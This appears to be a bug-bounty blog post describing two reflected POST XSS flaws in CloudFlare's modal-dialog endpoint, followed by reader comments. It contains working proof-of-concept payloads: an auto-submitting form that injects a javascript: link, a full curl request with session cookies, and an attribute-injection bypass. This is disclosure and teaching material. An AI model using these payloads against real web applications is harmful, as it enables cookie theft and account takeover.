#1 XSS
These are some of my duplicate vulnerabilities found. I just thought of sharing with you. Recently I found two POST XSS in CloudFlare and unfortunately I was not the first to report.
I found the first issue in the “Confirm Key Generator” dialog box.
Let’s have a closer look at the URL.
/ajax/model-dialog.htm
It seems like an XMLHttpRequest object is used in the server side it accept our POST request.
After playing around with “content=” parameter what I’ve noticed was that it filters all HTML tags except
<b></b> <p></p><A HREF=””>
Well as <A HREF> tag is not filtered we can easily execute JavaScript.
<A HREF=”javascript:alert(document.cookie);”>XSS</A>
So the proof of concept would be:
<html>
<!-- POC by Osanda -->
<body>
<form name="exploit" action="https://www.cloudflare.com/ajax/modal-dialog.html" method="POST">
<input type="hidden" name="type" value="default" />
<input type="hidden" name="content" value="Go to this link <A HREF="javascript:prompt('XSS by Osanda');">XSS</A>" />
<script>document.exploit.submit(); </script>
</form>
</body>
</html>
We don’t need an authorized account to trigger XSS since the issue is in “model-dialog.htm”. Here is the Curl command
curl -i -s -k -X 'POST' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0' -H 'Content-Type: application/x-www-form-urlencoded; charset=UTF-8' -H 'X-Requested-With: XMLHttpRequest' -H 'Referer: https://www.cloudflare.com/my-account' \
-b '__cfduid=dcfb031f1436b2c98ee75cfda0b313f9b1395243158470; __utma=1.1850105675.1399902759.1399910158.1400126593.4; __utmz=1.1399902759.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmb=1.7.10.1400126593; __utmc=1; vses2=9pvibldsqecve4b63ef9h13h75; __cf_effload=1' \
--data-binary $'type=default&content=Go to this link <A HREF=\"javascript:prompt(\'XSS by Osanda\');\">XSS</A>' \
'https://www.cloudflare.com/ajax/modal-dialog.html'
That is it Game Over 🙂
#2 XSS
The second XSS issue was in the “zoneupload” parameter in the “model-dialog.html” file. In the previous scenario all the HTML tags are truncated but in here instead they are converted into special chars. How to bypass this one? 😉
Well as usual “'() are not filtered 🙂
ABC" onmouseover="prompt('XSS by Osanda') ""
Here is the proof of concept:
<html>
<body>
<form action="https://www.cloudflare.com/ajax/modal-dialog.html" method="POST">
<input type="hidden" name="type" value="zoneupload" />
<input type="hidden" name="z" value="google.lk" />
<input type="hidden" name="target" value="ABC" onmouseover="prompt('XSS by Osanda') """ />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
So yeah here we go XSS again 😀
Bug hunting is not all about getting your name in hall of fames or receiving rewards or being the first to report. I just enjoy finding vulnerabilities and love to learn something new 🙂
Great brother !
I learn a lot of things with you thanks !
Great bro!
dude nice findings, and i like your wallpaper. wanna share?
Thanks! I’ll mail you shortly 🙂
wow, awesome bro.
Thanks for your marvelous posting! I actually enjoyed reading it, you
could be a great author.I will be sure to
bookmark your blog and will come back in the foreseeable future.
I want to encourage continue your great posts, have a nice morning!
was this ever fixed?
Its Amazing finding Sir.
Thanks mate 🙂
Wow nice
wow…aiye..